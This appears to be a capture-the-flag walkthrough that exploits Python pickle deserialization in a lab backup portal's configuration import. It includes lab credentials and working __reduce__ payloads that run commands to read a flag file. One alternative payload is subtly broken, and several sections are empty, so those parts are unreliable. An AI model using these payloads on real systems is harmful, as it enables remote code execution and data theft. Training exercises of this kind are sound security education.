Corporate Backup Deserializer

Corporate Backup Deserializer - Complete Solution

Step 1: Initial Reconnaissance

Access the SecureCorp Backup Management Portal at <target-ip>. The application presents a corporate backup system with multiple user roles and authentication.

Corporate Account Analysis:

• System Admin: admin / SecureAdmin2024!
• Backup Operator: backup_operator / BackupOps123
• Employee: john.smith / Password123!

Step 2: Authentication and Access

Login using the system administrator credentials to access privileged functionality:

Username: admin
Password: SecureAdmin2024!

After successful authentication, you'll gain access to the "System Administrator - Configuration Management" panel, which includes disaster recovery features essential for this challenge.

Step 3: Vulnerability Discovery

The admin panel reveals critical disaster recovery functions:

• Export Configuration: Serializes backup configurations using Python pickle
• Import Configuration: Deserializes backup configurations from base64-encoded pickle data

Step 4: Understanding the Target

The objective is to read the flag from /home/flag.txt. The pickle deserialization vulnerability in the configuration import feature provides the perfect attack vector for remote code execution.

Step 5: Exploit Development

Create a malicious pickle payload that executes a command to read the flag file:

import pickle
import base64
import subprocess

class MaliciousBackupConfig:
    def __reduce__(self):
        # Execute command to read the flag from /home/flag.txt
        cmd = ['cat', '/home/flag.txt']
        return (subprocess.check_output, (cmd,))

# Create and serialize the malicious object
malicious_config = MaliciousBackupConfig()
pickled_data = pickle.dumps(malicious_config, protocol=2)
payload = base64.b64encode(pickled_data).decode('utf-8')

print("Exploit Payload:")
print(payload)

Generated Payload:

Step 6: Exploitation Process

1. Navigate to Admin Panel: After login, locate the "System Administrator - Configuration Management" section on the main dashboard
2. Access Import Feature: Find the "Import Configuration" form with the textarea labeled "Serialized Configuration Data"
3. Submit Payload: Paste the base64-encoded malicious pickle payload into the textarea
4. Execute: Click "Import Configuration" to trigger the deserialization and command execution

Step 7: Flag Retrieval

Upon successful exploitation, the application will display a dedicated success page featuring:

• Success Header: "🎯 Configuration Import Successful!"
• Execution Confirmation: Green success message confirming system command execution
• Flag Display: The flag from /home/flag.txt displayed in a prominent red dashed box
• Congratulations: Message confirming successful pickle deserialization exploitation

Step 8: Technical Analysis

Vulnerability Details:

Vulnerable Code Flow:

# The vulnerable deserialization occurs here:
decoded_data = base64.b64decode(config_data)
config_obj = pickle.loads(decoded_data)  # RCE triggers during deserialization

# Application detects command output and displays it:
if isinstance(config_obj, bytes):
    command_output = config_obj.decode('utf-8').strip()
    # Flag is displayed directly in browser success page

Step 9: Alternative Exploitation Approaches

class DirectRCE:
    def __reduce__(self):
        return (os.system, ('cat /home/flag.txt',))

class SafeFileRead:
    def __reduce__(self):
        return (subprocess.check_output, 
                (['cat', '/home/flag.txt'], 
                 {'stderr': subprocess.STDOUT}))

Step 10: Security Implications and Defense

Key Learning Points

Real-World Impact:

This vulnerability demonstrates how enterprise backup systems can become critical attack vectors, potentially leading to:

References